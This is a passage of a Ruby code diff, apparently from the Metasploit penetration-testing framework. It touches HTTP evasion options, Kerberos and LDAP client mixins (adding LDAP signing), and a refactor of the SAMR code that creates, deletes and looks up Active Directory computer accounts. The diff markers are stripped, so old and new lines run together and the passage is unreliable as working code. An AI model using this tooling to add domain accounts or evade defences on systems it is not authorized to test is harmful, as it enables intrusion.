evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
evade_pad_get_params: datastore['HTTP::pad_get_params'],
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
evade_pad_post_params: datastore['HTTP::pad_post_params'],
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'],
evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'],
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
evade_header_folding: datastore['HTTP::header_folding'],
ntlm_domain: datastore['DOMAIN'],
digest_auth_iis: datastore['DigestAuthIIS']
}.merge(conf)
configure_login_scanner(
{
vhost: vhost,
user_agent: datastore['UserAgent'],
evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'],
evade_uri_full_url: datastore['HTTP::uri_full_url'],
evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'],
evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'],
evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'],
evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'],
evade_method_random_valid: datastore['HTTP::method_random_valid'],
evade_method_random_invalid: datastore['HTTP::method_random_invalid'],
evade_method_random_case: datastore['HTTP::method_random_case'],
evade_version_random_valid: datastore['HTTP::version_random_valid'],
evade_version_random_invalid: datastore['HTTP::version_random_invalid'],
evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'],
evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'],
evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'],
evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'],
evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'],
evade_pad_get_params: datastore['HTTP::pad_get_params'],
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
evade_pad_post_params: datastore['HTTP::pad_post_params'],
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'],
evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'],
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
evade_header_folding: datastore['HTTP::header_folding'],
ntlm_domain: datastore['DOMAIN'],
digest_auth_iis: datastore['DigestAuthIIS'],
}.merge(conf)
)
end
#
@@ -27,7 +27,7 @@ module Msf
# @!attribute client
# @return [Rex::Proto::Kerberos::Client] The kerberos client
attr_accessor :client
attr_accessor :kerberos_client
def initialize(info = {})
super
@@ -96,8 +96,8 @@ module Msf
protocol: 'tcp'
)
disconnect if client
self.client = kerb_client
disconnect if kerberos_client
self.kerberos_client = kerb_client
kerb_client
end
@@ -105,11 +105,11 @@ module Msf
# Disconnects the Kerberos client
#
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
def disconnect(kerb_client = client)
def disconnect(kerb_client = kerberos_client)
kerb_client.close if kerb_client
if kerb_client == client
self.client = nil
if kerb_client == kerberos_client
self.kerberos_client = nil
end
end
@@ -129,7 +129,7 @@ module Msf
def send_request_as(opts = {})
connect(opts)
req = opts.fetch(:req) { build_as_request(opts) }
res = client.send_recv(req)
res = kerberos_client.send_recv(req)
disconnect
res
end
@@ -143,7 +143,7 @@ module Msf
def send_request_tgs(opts = {})
connect(opts)
req = opts.fetch(:req) { build_tgs_request(opts) }
res = client.send_recv(req)
res = kerberos_client.send_recv(req)
disconnect
res
end
@@ -272,16 +272,17 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
auth_context
end
def get_message_encryptor(key, client_sequence_number, server_sequence_number)
def get_message_encryptor(key, client_sequence_number, server_sequence_number, use_acceptor_subkey: true, rc4_pad_style: :single_byte)
Rex::Proto::Gss::Kerberos::MessageEncryptor.new(key,
client_sequence_number,
server_sequence_number,
is_initiator: true,
use_acceptor_subkey: true,
dce_style: @dce_style)
use_acceptor_subkey: use_acceptor_subkey,
dce_style: @dce_style,
rc4_pad_style: rc4_pad_style)
end
def parse_gss_init_response(token, session_key, mechanism: 'kerberos')
def parse_gss_init_response(token, session_key)
mech_id, encapsulated_token = unwrap_pseudo_asn1(token)
if mech_id.value == Rex::Proto::Gss::OID_KERBEROS_5.value
@@ -640,7 +641,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
#
# @param [Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential] credential
# @param [Hash] _options
def authenticate_via_krb5_ccache_credential_tgs(credential, _options = {})
def authenticate_via_krb5_ccache_credential_tgs(credential, options = {})
unless credential.is_a?(Rex::Proto::Kerberos::CredentialCache::Krb5CcacheCredential)
raise TypeError, 'credential must be a Krb5CcacheCredential instance'
end
@@ -666,7 +667,7 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
## Service Authentication
checksum = nil
checksum = build_gss_ap_req_checksum_value(mutual_auth, dce_style, nil, nil, nil, nil, nil) if use_gss_checksum
checksum = build_gss_ap_req_checksum_value(options: options) if use_gss_checksum
sequence_number = rand(1 << 32)
service_ap_request = build_service_ap_request(
@@ -755,13 +756,10 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
checksum = nil
if use_gss_checksum
checksum = build_gss_ap_req_checksum_value(
mutual_auth,
dce_style,
delegated_tgs_ticket,
delegated_tgs_auth,
tgs_auth.key,
realm,
client_name
ticket: delegated_tgs_ticket,
decrypted_part: delegated_tgs_auth,
session_key: tgs_auth.key,
options: options
)
end
@@ -791,15 +789,21 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
}
end
def build_gss_ap_req_checksum_value(mutual_auth, dce_style, ticket, decrypted_part, session_key, realm, client_name)
def build_gss_ap_req_checksum_value(ticket: nil, decrypted_part: nil, session_key: nil, options: {})
# @see https://datatracker.ietf.org/doc/html/rfc4121#section-4.1.1
# No channel binding
channel_binding_info = "\x00" * 16
if options[:gss_channel_binding]
channel_binding_info = options[:gss_channel_binding].channel_binding_token
else
channel_binding_info = "\x00".b * 16
end
channel_binding_info_len = [channel_binding_info.length].pack('V')
flags = GSS_REPLAY_DETECT | GSS_SEQUENCE | GSS_CONFIDENTIAL | GSS_INTEGRITY
flags |= GSS_MUTUAL if mutual_auth
flags |= GSS_DCE_STYLE if dce_style
flags = GSS_REPLAY_DETECT | GSS_SEQUENCE
flags |= GSS_CONFIDENTIAL if options.fetch(:gss_flag_confidential, true)
flags |= GSS_INTEGRITY if options.fetch(:gss_flag_integrity, true)
flags |= GSS_MUTUAL if options.fetch(:gss_flag_mutual) { mutual_auth }
flags |= GSS_DCE_STYLE if options.fetch(:gss_flag_dce_style) { dce_style }
flags |= GSS_DELEGATE if ticket
flags = [flags].pack('V')
@@ -813,8 +817,8 @@ class Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base
krb_cred.tickets = [ticket]
ticket_info = Rex::Proto::Kerberos::Model::KrbCredInfo.new
ticket_info.key = decrypted_part.key
ticket_info.prealm = realm
ticket_info.pname = build_client_name(client_name: client_name)
ticket_info.prealm = options.fetch(:realm) { self.realm.upcase }
ticket_info.pname = build_client_name(client_name: options.fetch(:client_name) { username })
ticket_info.flags = decrypted_part.flags
ticket_info.auth_time = decrypted_part.auth_time
ticket_info.start_time = decrypted_part.start_time
+60 -72
View File
@@ -1,7 +1,7 @@
# -*- coding: binary -*-
#
# This mixin is a wrapper around Net::LDAP
# This mixin is a wrapper around Rex::Proto::LDAP::Client
#
require 'rex/proto/ldap'
@@ -41,7 +41,8 @@ module Msf
*kerberos_storage_options(protocol: 'LDAP'),
*kerberos_auth_options(protocol: 'LDAP', auth_methods: Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS),
Msf::OptPath.new('LDAP::CertFile', [false, 'The path to the PKCS12 (.pfx) certificate file to authenticate with'], conditions: ['LDAP::Auth', '==', Msf::Exploit::Remote::AuthOption::SCHANNEL]),
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0]),
OptEnum.new('LDAP::Signing', [true, 'Use signed and sealed (encrypted) LDAP', 'auto', %w[ disabled auto required ]])
]
)
end
@@ -78,17 +79,43 @@ module Msf
username: datastore['USERNAME'],
password: datastore['PASSWORD'],
domain: datastore['DOMAIN'],
base: datastore['BASE_DN'],
domain_controller_rhost: datastore['DomainControllerRhost'],
ldap_auth: datastore['LDAP::Auth'],
ldap_cert_file: datastore['LDAP::CertFile'],
ldap_rhostname: datastore['Ldap::Rhostname'],
ldap_krb_offered_enc_types: datastore['Ldap::KrbOfferedEncryptionTypes'],
ldap_krb5_cname: datastore['Ldap::Krb5Ccname'],
ldap_rhostname: datastore['LDAP::Rhostname'],
ldap_krb_offered_enc_types: datastore['LDAP::KrbOfferedEncryptionTypes'],
ldap_krb5_cname: datastore['LDAP::Krb5Ccname'],
proxies: datastore['Proxies'],
framework_module: self
framework_module: self,
kerberos_ticket_storage: kerberos_ticket_storage
}
case datastore['LDAP::Signing']
when 'required'
opts[:sign_and_seal] = true
when 'disabled'
opts[:sign_and_seal] = false
end
ldap_connect_opts(rhost, rport, datastore['LDAP::ConnectTimeout'], ssl: datastore['SSL'], opts: opts)
begin
result = ldap_connect_opts(rhost, rport, datastore['LDAP::ConnectTimeout'], ssl: datastore['SSL'], opts: opts)
rescue Msf::ValidationError => e
fail_with(Msf::Module::Failure::BadConfig, e.message)
end
# Now that the options have been resolved (including auto possibly resolving to NTLM), check whether this is a valid config
if result[:auth] && datastore['LDAP::Signing'] == 'required'
unless %i[ rex_kerberos rex_ntlm ].include?(result[:auth][:method]) || (result[:auth][:method] == :sasl && result[:auth][:mechanism] == 'GSS-SPNEGO')
fail_with(Msf::Module::Failure::BadConfig, 'The authentication configuration does not support signing. Change either LDAP::Auth or LDAP::Signing.')
end
if result[:encryption]
# Domain Controllers don't seem to support signing and connection over SSL. Gotta pick one or the other.
fail_with(Msf::Module::Failure::BadConfig, 'SSL not supported with signing. Change either SSL or LDAP::Signing.')
end
end
result
end
# @see #ldap_open
@@ -100,18 +127,24 @@ module Msf
# Connect to the target LDAP server using the options provided,
# and pass the resulting connection object to the proc provided.
# Terminate the connection once the proc finishes executing.
# Terminate the connection once the proc finishes executing unless
# `keep_open` is set to true
#
# @param connect_opts [Hash] Options for the LDAP connection.
# @param keep_open [Boolean] Keep the connection open or close once the block is finished
# @param block [Proc] A proc containing the functionality to execute
# after the LDAP connection has succeeded. The connection is closed
# once this proc finishes executing.
# @see Net::LDAP.open
# @see Rex::Proto::LDAP::Client.open
# @return [Object] The result of whatever the block that was
# passed in via the "block" parameter yielded.
def ldap_open(connect_opts, &block)
def ldap_open(connect_opts, keep_open: false, &block)
opts = resolve_connect_opts(connect_opts)
Net::LDAP.open(opts, &block)
if keep_open
Rex::Proto::LDAP::Client._open(opts, &block)
else
Rex::Proto::LDAP::Client.open(opts, &block)
end
end
@@ -126,16 +159,15 @@ module Msf
opts
end
# Create a new LDAP connection using Net::LDAP.new and yield the
# Create a new LDAP connection using Rex::Proto::LDAP::Client.new and yield the
# resulting connection object to the caller of this method.
#
# @param opts [Hash] A hash containing the connection options for the
# LDAP connection to the target server.
# @yieldparam ldap [Net::LDAP] The LDAP connection handle to use for connecting to
# @yieldparam ldap [Rex::Proto::LDAP::Client] The LDAP connection handle to use for connecting to
# the target LDAP server.
def ldap_new(opts = {})
ldap = Net::LDAP.new(resolve_connect_opts(get_connect_opts.merge(opts)))
ldap = Rex::Proto::LDAP::Client.new(resolve_connect_opts(get_connect_opts.merge(opts)))
# NASTY, but required
# monkey patch ldap object in order to ignore bind errors
@@ -146,7 +178,7 @@ module Msf
# access to the directory."
# Bug created for Net:LDAP at https://github.com/ruby-ldap/ruby-net-ldap/issues/375
#
# @yieldparam conn [Net::LDAP] The LDAP connection handle to use for connecting to
# @yieldparam conn [Rex::Proto::LDAP::Client] The LDAP connection handle to use for connecting to
# the target LDAP server.
# @param args [Hash] A hash containing options for the ldap connection
def ldap.use_connection(args)
@@ -158,7 +190,7 @@ module Msf
conn.bind(args[:auth] || @auth)
# Commented out vs. original
# result = conn.bind(args[:auth] || @auth)
# return result unless result.result_code == Net::LDAP::ResultCodeSuccess
# return result unless result.result_code == Rex::Proto::LDAP::Client::ResultCodeSuccess
yield conn
ensure
conn.close if conn
@@ -168,69 +200,22 @@ module Msf
yield ldap
end
# Get the naming contexts for the target LDAP server.
#
# @param ldap [Net::LDAP] The Net::LDAP connection handle for the
# current LDAP connection.
# @return [Net::BER::BerIdentifiedArray] Array of naming contexts for the target LDAP server.
def get_naming_contexts(ldap)
vprint_status("#{peer} Getting root DSE")
unless (root_dse = ldap.search_root_dse)
print_error("#{peer} Could not retrieve root DSE")
return
end
naming_contexts = root_dse[:namingcontexts]
# NOTE: Net::LDAP converts attribute names to lowercase
if naming_contexts.empty?
print_error("#{peer} Empty namingContexts attribute")
return
end
naming_contexts
end
# Discover the base DN of the target LDAP server via the LDAP
# server's naming contexts.
#
# @param ldap [Net::LDAP] The Net::LDAP connection handle for the
# current LDAP connection.
# @return [String] A string containing the base DN of the target LDAP server.
def discover_base_dn(ldap)
# @type [Net::BER::BerIdentifiedArray]
naming_contexts = get_naming_contexts(ldap)
unless naming_contexts
print_error("#{peer} Base DN cannot be determined")
return
end
# NOTE: Find the first entry that starts with `DC=` as this will likely be the base DN.
naming_contexts.select! { |context| context =~ /^([Dd][Cc]=[A-Za-z0-9-]+,?)+$/ }
naming_contexts.reject! { |context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/ }
if naming_contexts.blank?
print_error("#{peer} A base DN matching the expected format could not be found!")
return
end
base_dn = naming_contexts[0]
print_good("#{peer} Discovered base DN: #{base_dn}")
base_dn
end
# Check whether it was possible to successfully bind to the target LDAP
# server. Raise a RuntimeException with an appropriate error message
# if not.
#
# @param ldap [Net::LDAP] The Net::LDAP connection handle for the
# @param ldap [Rex::Proto::LDAP::Client] The Rex::Proto::LDAP::Client connection handle for the
# current LDAP connection.
#
# @raise [RuntimeError] A RuntimeError will be raised if the LDAP
# bind request failed.
# @return [Nil] This function does not return any data.
def validate_bind_success!(ldap)
if defined?(:session) && session
vprint_good('Successfully bound to the LDAP server via existing SESSION!')
return
end
bind_result = ldap.get_operation_result.table
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
@@ -242,7 +227,10 @@ module Msf
when 7
fail_with(Msf::Module::Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
when 8
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result[:error_message].strip}")
signing_statement = ''
signing_statement = 'May require LDAP signing to be enabled (`set LDAP::Signing auto`). ' unless %w[ auto required ].include?(datastore['LDAP::Signing'])
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication! #{signing_statement}The error was: #{bind_result[:error_message].strip}")
when 14
fail_with(Msf::Module::Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result[:error_message].strip}")
when 48
@@ -263,7 +251,7 @@ module Msf
# a 'error_message' containing an optional error message as a Net::BER::BerIdentifiedString,
# a 'matched_dn' containing the matched DN,
# and a 'message' containing the query result message.
# @param filter [Net::LDAP::Filter] A Net::LDAP::Filter to use to
# @param filter [Rex::Proto::LDAP::Client::Filter] A Rex::Proto::LDAP::Client::Filter to use to
# filter the results of the query.
#
# @raise [RuntimeError, ArgumentError] A RuntimeError will be raised if the LDAP
+15
View File
@@ -0,0 +1,15 @@
# frozen_string_literal: true
module Msf::Exploit::Remote::LDAP
class Error < ::StandardError
attr_reader :error_code
attr_reader :operation_result
def initialize(message: nil, error_code: nil, operation_result: nil)
super(message || 'LDAP Error')
@error_code = error_code
@operation_result = operation_result
end
end
end
+39 -38
View File
@@ -27,7 +27,7 @@ module Msf
end
query_result_table = ldap.get_operation_result.table
validate_query_result!(query_result_table, filter)
validate_result!(query_result_table, filter)
if results.nil? || results.empty?
print_error("No results found for #{filter}.")
@@ -38,7 +38,17 @@ module Msf
end
def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil)
attribute_properties = query_attributes_data(ldap, attributes.map(&:to_sym), schema_dn)
if attributes.nil? || schema_dn.nil?
attribute_properties = {}
else
begin
attribute_properties = query_attributes_data(ldap, attributes.map(&:to_sym), schema_dn)
rescue Msf::Exploit::Remote::LDAP::Error => e
wlog("Failed getting attribute properties: #{e}", error: e)
ensure
attribute_properties ||= {}
end
end
scope ||= Net::LDAP::SearchScope_WholeSubtree
result_count = 0
@@ -81,7 +91,10 @@ module Msf
when 'csv'
print_line(tbl.to_csv)
else
fail_with(Msf::Module::Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
print_warning("Invalid format: #{format} Supported OUTPUT_FORMAT values are csv and table")
# Default to table output, seems reasonable to output something if we have it rather than blow up
print_status('Defaulting to table output')
print_line(tbl.to_s)
end
end
@@ -165,33 +178,6 @@ module Msf
generate_rex_tables(entry, 'csv')
end
def find_schema_dn(ldap, base)
results = ldap.search(attributes: ['objectCategory'], base: base, filter: '(objectClass=*)', scope: Net::LDAP::SearchScope_BaseObject)
validate_query_result!(ldap.get_operation_result.table)
if results.blank?
fail_with(Msf::Module::Failure::UnexpectedReply, "LDAP server didn't respond to our request to find the root DN!")
end
# Double check that the entry has an instancetype attribute.
unless results[0].to_h.key?(:objectcategory)
fail_with(Failure::UnexpectedReply, "LDAP server didn't respond to the root DN request with the objectcategory attribute field!")
end
object_category_raw = results[0][:objectcategory][0]
schema_dn = object_category_raw.gsub(/CN=[A-Za-z0-9-]+,/, '')
print_good("#{peer} Discovered schema DN: #{schema_dn}")
schema_dn
end
def find_schema_naming_context(ldap)
result = ldap.search(scope: 0, base: '', attributes: [:schemanamingcontext])
if result.first && result.first[:schemanamingcontext]
return result.first[:schemanamingcontext].first
end
''
end
def query_attributes_data(ldap, attributes, schema_dn)
attribute_properties = {}
@@ -206,8 +192,7 @@ module Msf
return unless filter.include?('LDAPDisplayName=')
attributes_data = ldap.search(base: schema_dn, filter: filter, attributes: %i[LDAPDisplayName isSingleValued oMSyntax attributeSyntax])
query_result_table = ldap.get_operation_result.table
validate_query_result!(query_result_table)
validate_result!(ldap.get_operation_result)
attributes_data.each do |entry|
ldap_display_name = entry[:ldapdisplayname][0].to_s.downcase.to_sym
@@ -252,7 +237,8 @@ module Msf
sid_data = Rex::Proto::MsDtyp::MsDtypSid.read(object_sid_raw)
sid_string = sid_data.to_s
rescue IOError => e
fail_with(Msf::Module::Failure::UnexpectedReply, "Failed to read SID. Error was #{e.message}")
elog("Failed to read SID. Error was #{e.message}")
next
end
normalized_attribute[0] = sid_string
elsif attribute_property[:attributesyntax] == '2.5.5.10' # OctetString
@@ -265,7 +251,8 @@ module Msf
decoded_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(bin_guid)
decoded_guid_string = decoded_guid.get
rescue IOError => e
fail_with(Msf::Module::Failure::UnexpectedReply, "Failed to read GUID. Error was #{e.message}")
elog("Failed to read GUID. Error was #{e.message}")
next
end
normalized_attribute[0] = decoded_guid_string
end
@@ -316,19 +303,24 @@ module Msf
when 'json'
output_json_data(entry)
else
fail_with(Msf::Module::Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
print_warning("Invalid format: #{output_format} Supported OUTPUT_FORMAT values are csv, table and json")
# Default to table output, seems reasonable to output something if we have it rather than blow up
print_status('Defaulting to table output')
output_data_table(entry)
end
end
def run_queries_from_file(ldap, queries, base_dn, schema_dn, output_format)
def run_queries_from_file(ldap, queries, schema_dn, output_format, base_dn: nil)
base_dn ||= ldap.base_dn
queries.each do |query|
unless query['action'] && query['filter'] && query['attributes']
fail_with(Msf::Module::Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
print_warning "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!"
next
end
attributes = query['attributes']
if attributes.nil? || attributes.empty?
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
break
next
end
filter = Net::LDAP::Filter.construct(query['filter'])
print_status("Running #{query['action']}...")
@@ -342,6 +334,15 @@ module Msf
end
end
def validate_result!(operation_result)
code = operation_result.table[:code]
if code == 0
dlog('Operation was successful')
else
raise Msf::Exploit::Remote::LDAP::Error.new(error_code: code, operation_result: operation_result)
end
end
end
end
end
+2 -190
View File
@@ -9,7 +9,6 @@ module Msf
module Exploit::Remote::MsSamr
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Report
class MsSamrError < StandardError; end
class MsSamrConnectionError < MsSamrError; end
@@ -19,147 +18,8 @@ module Exploit::Remote::MsSamr
class MsSamrUnknownError < MsSamrError; end
class MsSamrBadConfigError < MsSamrError; end
ComputerInfo = Struct.new(:name, :password)
SamrConnection = Struct.new(:samr, :server_handle, :domain_handle, :domain_name)
def initialize(info = {})
super
register_options([
OptString.new('COMPUTER_NAME', [ false, 'The computer name' ]),
OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ]),
], Msf::Exploit::Remote::MsSamr)
end
def add_computer(opts = {})
tree = opts[:tree] || connect_ipc
samr_con = connect_samr(tree)
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
if computer_name.blank?
computer_name = random_hostname
4.downto(0) do |attempt|
break if samr_con.samr.samr_lookup_names_in_domain(
domain_handle: samr_con.domain_handle,
names: [ computer_name ]
).nil?
computer_name = random_hostname
raise MsSamrBadConfigError, 'Could not find an unused computer name.' if attempt == 0
end
else
if samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
raise MsSamrBadConfigError, 'The specified computer name already exists.'
end
end
result = samr_con.samr.samr_create_user2_in_domain(
domain_handle: samr_con.domain_handle,
name: computer_name,
account_type: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT,
desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED
)
user_handle = result[:user_handle]
if datastore['COMPUTER_PASSWORD'].blank?
computer_password = Rex::Text.rand_text_alphanumeric(32)
else
computer_password = datastore['COMPUTER_PASSWORD']
end
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
i1: {
password_expired: 1,
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
},
user_password: {
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
computer_password,
@simple.client.application_key
)
}
)
)
samr_con[:samr].samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_CONTROL_INFORMATION,
member: RubySMB::Dcerpc::Samr::UserControlInformation.new(
user_account_control: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT
)
)
samr_con.samr.samr_set_information_user2(
user_handle: user_handle,
user_info: user_info
)
print_good("Successfully created #{samr_con.domain_name}\\#{computer_name}")
print_good(" Password: #{computer_password}")
print_good(" SID: #{get_computer_sid(samr_con, computer_name)}")
report_creds(samr_con.domain_name, computer_name, computer_password)
ComputerInfo.new(computer_name, computer_password)
rescue RubySMB::Dcerpc::Error::SamrError => e
raise MsSamrUnknownError, "A DCERPC SAMR error occurred: #{e.message}"
ensure
if samr_con
samr_con.samr.close_handle(user_handle) if user_handle
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
end
end
def delete_computer(opts = {})
tree = opts[:tree] || connect_ipc
samr_con = connect_samr(tree)
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
if computer_name.blank?
raise MsSamrBadConfigError, 'Unable to delete the computer account since its name is unknown'
end
details = samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
raise MsSamrBadConfigError, 'The specified computer was not found.' if details.nil?
details = details[computer_name]
user_handle = samr_con.samr.samr_open_user(domain_handle: samr_con.domain_handle, user_id: details[:rid])
samr_con.samr.samr_delete_user(user_handle: user_handle)
print_good('The specified computer has been deleted.')
rescue RubySMB::Dcerpc::Error::SamrError => e
# `user_handle` only needs to be closed if an error occurs in `samr_delete_user`
# If this method succeed, the server took care of closing the handle
samr_con.samr.close_handle(user_handle) if user_handle
raise MsSamrUnknownError, "Could not delete the computer #{computer_name}: #{e.message}"
ensure
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
end
def lookup_computer(opts = {})
tree = opts[:tree] || connect_ipc
samr_con = connect_samr(tree)
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
if computer_name.blank?
raise MsSamrBadConfigError, 'Unable to lookup the computer account since its name is unknown'
end
sid = get_computer_sid(samr_con, computer_name)
print_good("Found #{samr_con.domain_name}\\#{computer_name} (SID: #{sid})")
ensure
samr_con.samr.close_handle(samr_con.domain_handle) if samr_con.domain_handle
samr_con.samr.close_handle(samr_con.server_handle) if samr_con.server_handle
end
module_function
def connect_ipc
@@ -204,7 +64,7 @@ module Exploit::Remote::MsSamr
raise MsSamrUnexpectedReplyError, "Connection failed (DCERPC fault: #{e.status_name})"
end
if datastore['SMBDomain'].blank? || datastore['SMBDomain'] == '.'
if domain.blank? || domain == '.'
all_domains = samr.samr_enumerate_domains_in_sam_server(server_handle: server_handle).map(&:to_s).map(&:encode)
all_domains.delete('Builtin')
if all_domains.empty?
@@ -217,7 +77,7 @@ module Exploit::Remote::MsSamr
domain_name = all_domains.first
print_status("Using automatically identified domain: #{domain_name}")
else
domain_name = datastore['SMBDomain']
domain_name = domain
end
domain_sid = samr.samr_lookup_domain(server_handle: server_handle, name: domain_name)
@@ -232,53 +92,5 @@ module Exploit::Remote::MsSamr
elog(e.message, error: e)
raise MsSamrUnknownError, e.message
end
def random_hostname(prefix: 'DESKTOP')
"#{prefix}-#{Rex::Text.rand_base(8, '', ('A'..'Z').to_a + ('0'..'9').to_a)}$"
end
def report_creds(domain, username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def get_computer_sid(samr_con, computer_name)
details = samr_con.samr.samr_lookup_names_in_domain(
domain_handle: samr_con.domain_handle,
names: [ computer_name ]
)
raise MsSamrNotFoundError, 'The computer was not found.' if details.nil?
details = details[computer_name]
samr_con.samr.samr_rid_to_sid(
object_handle: samr_con.domain_handle,
rid: details[:rid]
).to_s
end
end
end
@@ -0,0 +1,203 @@
###
#
# This mixin provides methods to add, delete and lookup computer accounts via MS-SAMR
#
# -*- coding: binary -*-
module Msf
module Exploit::Remote::MsSamr::Computer
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::MsSamr
ComputerInfo = Struct.new(:name, :password)
def initialize(info = {})
super
register_options([
OptString.new('COMPUTER_NAME', [ false, 'The computer name' ]),
OptString.new('COMPUTER_PASSWORD', [ false, 'The password for the new computer' ]),
], Msf::Exploit::Remote::MsSamr)
end
def add_computer(opts = {})
tree = opts[:tree] || connect_ipc
samr_con = connect_samr(tree)
computer_name = opts[:computer_name] || datastore['COMPUTER_NAME']
if computer_name.blank?
computer_name = random_hostname
4.downto(0) do |attempt|
break if samr_con.samr.samr_lookup_names_in_domain(
domain_handle: samr_con.domain_handle,
names: [ computer_name ]
).nil?
computer_name = random_hostname
raise MsSamrBadConfigError, 'Could not find an unused computer name.' if attempt == 0
end
else
if samr_con.samr.samr_lookup_names_in_domain(domain_handle: samr_con.domain_handle, names: [ computer_name ])
raise MsSamrBadConfigError, 'The specified computer name already exists.'
end
end
result = samr_con.samr.samr_create_user2_in_domain(
domain_handle: samr_con.domain_handle,
name: computer_name,
account_type: RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT,
desired_access: RubySMB::Dcerpc::Samr::USER_FORCE_PASSWORD_CHANGE | RubySMB::Dcerpc::Samr::MAXIMUM_ALLOWED
)
user_handle = result[:user_handle]
computer_password = opts[:computer_password] || datastore['COMPUTER_PASSWORD']
if computer_password.blank?
computer_password = Rex::Text.rand_text_alphanumeric(32)
else
computer_password = datastore['COMPUTER_PASSWORD']
end
user_info = RubySMB::Dcerpc::Samr::SamprUserInfoBuffer.new(
tag: RubySMB::Dcerpc::Samr::USER_INTERNAL4_INFORMATION_NEW,
member: RubySMB::Dcerpc::Samr::SamprUserInternal4InformationNew.new(
i1: {
password_expired: 1,
which_fields: RubySMB::Dcerpc::Samr::USER_ALL_NTPASSWORDPRESENT | RubySMB::Dcerpc::Samr::USER_ALL_PASSWORDEXPIRED
},
user_password: {
buffer: RubySMB::Dcerpc::Samr::SamprEncryptedUserPasswordNew.encrypt_password(
computer_password,
@simple.client.application_key
)
}
)
